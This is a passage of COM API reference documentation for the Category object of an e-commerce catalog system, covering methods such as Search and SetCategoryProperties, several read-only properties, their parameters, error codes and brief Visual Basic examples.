The Search method is used to perform arbitrary lexical comparisons on both words and phrases, product, product-variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method.

The strSQLClause and strFTSPhrase parameters are both optional, but at least one of them must be supplied. If you only supply the strSQLClause parameter, this method acts like the Query method. If you only supply the strFTSPhrase parameter, this method acts like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The strPropertiesToReturn parameter is optional and defaults to all properties.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
Set rsResults = myCategory3.Query("[Productid]='blue suede'", "slightly scuffed", True, cscProductClass, "Price, SKU, Size", "SKU", TRUE, 1, 25, plTotalRecordsInQuery)

See Also

[C++] Category Object

[Visual Basic] Category Object

CatalogManager.Search


ICategory3::SetCategoryProperties Method [C++]

Category.SetCategoryProperties Method [Visual Basic]

Use this method to set values for the properties of this category.

Definition

[C++]
HRESULT ICategory3::SetCategoryProperties(
  _Recordset* pRSCategory,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetCategoryProperties(
  pRSCategory As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSCategory [C++]
[in] A reference to a Recordset object that contains the properties for this category.
pRSCategory [Visual Basic]
A Recordset object that contains the properties for this category.
fForceUpdate [C++]
[in, optional] A VARIANT that causes a forced update of the category properties.
fForceUpdate [Visual Basic]
A Variant that causes a forced update of the category properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_CANT_EDIT_INCLUDED_CATEGORY | [C++] 0x88980105 [Visual Basic] &H88980105 | A virtual catalog’s included categories cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &Hx889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_CHANGED | [C++] 0x88980028 [Visual Basic] &H88980028 | The category has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should be between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should be between minium and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_NULL_PRICE_NOT_ALLOWED | [C++] 0x8898003F [Visual Basic] &H8898003F | The list price for this category cannot be blank as this category is being used as a pricing category by other products in the catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the SetCategoryProperties method to modify the properties of a category. The pRSCategory parameter specifies a Recordset object that describes the new property values for this category. Use the Recordset object returned by the GetCategoryProperties property so that its time stamp can be compared for error checking.

If the fForceUpdate parameter is set to False, and the property values in the pRSCategory parameter have changed, the method will fail.

This method will not update the built in fields in the catalog. If this category is being used as a pricing category, then this method will update the price of all the products using this category as the pricing category.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.SetCategoryProperties pRSCategory, "TRUE"

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::SetRelatedCategories Method [C++]

Category.SetRelatedCategories Method [Visual Basic]

Use this method to update category relationships.

Definition

[C++]
HRESULT ICategory3::SetRelatedCategories(
  _Recordset* pRSRelatedCategories
);
[Visual Basic]
Sub SetRelatedCategories(
  pRSRelatedCategories As Recordset
)

Parameters

pRSRelatedCategories [C++]
[in] A reference to a Recordset object that contains the related categories.
pRSRelatedCategories [Visual Basic]
A Recordset object that contains the related categories.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[C++]

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

[Visual Basic]

The recordset used for the pRSRelatedCategories parameter should be obtained from the RelatedCategories property.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will fail.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedCategories is an existing recordset.
'It was obtained from the RelatedCategories property.

myCategory.SetRelatedCategories(pRSRelatedCategories)

See Also

[C++] Category Object

[Visual Basic] Category Object

[C++] get_RelatedCategories

[Visual Basic] RelatedCategories

[C++] RemoveRelationshipToCategory

[Visual Basic] RemoveRelationshipToCategory

[C++] AddRelationshipToCategory

[Visual Basic] AddRelationshipToCategory


ICategory3::SetRelatedProducts Method [C++]

Category.SetRelatedProducts Method [Visual Basic]

Use this method to update product relationships.

Definition

[C++]
HRESULT ICategory3::SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);
[Visual Basic]
Sub SetRelatedProducts(
  pRSRelatedProducts As Recordset
)

Parameters

pRSRelatedProducts [C++]
[in] A reference to a _Recordset object that contains the related products.
pRSRelatedProducts [Visual Basic]
A Recordset object that contains the related products.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[C++]

The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

[Visual Basic]

The recordset used for the pRSRelatedProducts parameter should be obtained from the RelatedProducts property.

Only the RelationshipDescription field should be updated. Other changes should be made using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will fail.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedProducts is an existing recordset.
'It was obtained from the RelatedProducts property.

myCategory.SetRelatedProducts(pRSRelatedProducts)

See Also

[C++] Category Object

[Visual Basic] Category Object

[C++] get_RelatedProducts

[Visual Basic] RelatedProducts

[C++] RemoveRelationshipToProduct

[Visual Basic] RemoveRelationshipToProduct

[C++] AddRelationshipToProduct

[Visual Basic] AddRelationshipToProduct


ICategory3 Properties [C++]

Category Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | _Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | _Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | _Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | _Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | _Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.


ICategory3::get_AncestorCategories Property [C++]

Category.AncestorCategories Property [Visual Basic]

The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this category in the hierarchy

Definition

[C++]
HRESULT ICategory3::get_AncestorCategories(
  _Recordset** AncestorCategories
);
[Visual Basic]
Property AncestorCategories As Recordset

Parameters

AncestorCategories [C++]
[out, retval] A _Recordset object used to return the ancestor categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The AncestorCategories property contains valid data only if it was accessed successfully.

The AncestorCategories property is a Recordset object with a 128-character field, called Name. The recordset also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

See Also

[C++] Category Object

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::get_ChildCategories

[Visual Basic] Category Object

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.ChildCategories


ICategory3::get_CatalogName Property [C++]

Category.CatalogName Method [Visual Basic]

The CatalogName property is a read-only String that contains the name of the catalog from which this category was retrieved.

Definition

[C++]
HRESULT ICategory3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CatalogName parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The CatalogName property contains valid data only if the property is accessed successfully.

The CatalogName property contains the name of the catalog from which this category object is obtained.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_CategoryName Property [C++]

Category.CategoryName Property [Visual Basic]

The CategoryName property is a read-only String that contains the name of this category.

Definition

[C++]
HRESULT ICategory3::get_CategoryName(
  BSTR* CategoryName
);
[Visual Basic]
Property CategoryName As String

Parameters

CategoryName [C++]
[out, retval] A BSTR used to return the category name.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CategoryName parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The CategoryName property contains valid data only if the property is accessed successfully.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_ChildCategories Property [C++]

Category.ChildCategories Property [Visual Basic]

The ChildCategories property is a read-only Recordset object that contains the names of categories that exist below this category in the hierarchy.

Definition

[C++]
HRESULT ICategory3::get_ChildCategories(
  _Recordset** ChildCategories
);
[Visual Basic]
Property ChildCategories As Recordset

Parameters

ChildCategories [C++]
[out, retval] A _Recordset object used to return the child categories.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ChildCategories parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The ChildCategories property contains valid data only if the property is accessed successfully.

The ChildCategories property recordset contains a row for each of the categories that are currently children of this category. The following table lists the fields for the ChildCategories property recordset.

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
DefinitionName String
maximum of 128 characters 		The name of the definition.
CatalogName String
maximum of 128 characters 		The name of the catalog that contains the category.
DisplayName String
maximum of 128 characters 		The display name of the category.

If this category object has no children, an empty recordset is returned whose EOF property is set to VARIANT_TRUE. Your code should check the value of this property to determine if child categories exist.

See Also

[C++] Category Object

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::get_AncestorCategories

[Visual Basic] Category Object

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.AncestorCategories


ICategory3::get_DescendantProducts Property [C++]

Category.DescendantProducts Property [Visual Basic]

The DescendantProducts property is a read-only Recordset object that contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog.

Definition

[C++]
HRESULT ICategory3::get_DescendantProducts(
  VARIANT eClassTypeRequired,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** DescendantProducts
);
[Visual Basic]
Property DescendantProducts(
  Optional eClassTypeRequired As Variant,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records in the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records in the query.
DescendantProducts [C++]
[out, retval] A _Recordset object used to return the descendant products.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++]The DescendantProducts parameter contains valid data only if the property is accessed successfully.

This property gets all the product, variant, or category data (depending on the value passed into the parameter eClassTypeRequired), which are directly or indirectly under this category.

[C++] The returned recordset contains all the fields in the CatalogProduct Recordset.

[Visual Basic] The returned recordset contains all the fields in the CatalogProduct Recordset.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[C++] ICategory3::get_RelatedProducts

[C++] ICategory3::get_Products

[Visual Basic] Category Object

[Visual Basic] Category.RelatedProducts

[Visual Basic] Category.Products


ICategory3::get_GetCategoryProperties Property [C++]

Category.GetCategoryProperties Property [Visual Basic]

The GetCategoryProperties property is a read-only recordset that contains the properties for this category. Both the properties that are present in the definition of this category, and the built-in properties, are returned.

Definition

[C++]
HRESULT ICategory3::get_GetCategoryProperties(
  _Recordset** GetCategoryProperties
);
[Visual Basic]
Property GetCategoryProperties As Recordset

Parameters

GetCategoryProperties [C++]
[out, retval] A _Recordset object used to return the category properties.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The GetCategoryProperties parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The GetCategoryProperties property contains valid data only if the property is accessed successfully.

[C++] The returned recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

[Visual Basic] The returned recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

The recordset returned is updateable, but disconnected. If this category has been deleted from the database, this property returns an error. For categories created in virtual catalogs, the category name returned in the recordset will not contain the appended catalog name.

See Also

[C++] Category Object

[C++] ICategory3::SetCategoryProperties

[Visual Basic] Category Object

[Visual Basic] Category.SetCategoryProperties


ICategory3::get_ParentCategories Property [C++]

Category.ParentCategories Property [Visual Basic]

The ParentCategories property is a read-only recordset that contains the names of the parent categories of this category.

Definition

[C++]
HRESULT ICategory3::get_ParentCategories(
  _Recordset** ParentCategories
);
[Visual Basic]
Property ParentCategories As Recordset

Parameters

ParentCategories [C++]
[out, retval] A _Recordset object used to return the parent categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ParentCategories parameter contains valid data only if the property is accessed successfully.

[Visual Basic] The ParentCategories property contains valid data only if the property is accessed successfully.

The ParentCategories property contains the names of the categories that are parent categories of this category. The recordset returned contains a 128-character string column, called Name, and one row for each parent that exists.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
Name String
Maximum of 128 characters 		Name of the parent category.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

If this category is a root category, it has no parent categories, and an empty recordset is returned whose EOF property is set to VARIANT_TRUE.

See Also

[C++] Category Object

[C++] ICategory3::get_AncestorCategories

[C++] ICategory3::get_ChildCategories

[Visual Basic] Category Object

[Visual Basic] Category.AncestorCategories

[Visual Basic] Category.ChildCategories


ICategory3::get_PrimaryParent, put_PrimaryParent Property [C++]

Category.PrimaryParent Property [Visual Basic]

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[C++]

Get method:

HRESULT ICategory3::get_PrimaryParent(
  BSTR* PrimaryParent
);

Put method:

HRESULT ICategory3::put_PrimaryParent(
  BSTR PrimaryParent
);
[Visual Basic]
Property PrimaryParent As String

Parameters

PrimaryParent [C++]
[in] When putting the property, a BSTR that contains the primary parent.
[out, retval] When getting the property, a BSTR used to return the primary parent.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C++] 0x889800AC [Visual Basic] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules. If there is no primary parent this property contains an empty string.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[Visual Basic] Category Object


ICategory3::get_Products Property [C++]

Category.Products Property [Visual Basic]

The Products property is a read-only recordset that contains product data for all of the products that exist directly within this category.

Definition

[C++]
HRESULT ICategory3::get_Products(
  VARIANT eClassTypeRequired,
  VARIANT strPropertyToSortOn,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** Products
);
[Visual Basic]
Property Products(
  Optional eClassTypeRequired As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

eClassTypeRequired [C++]
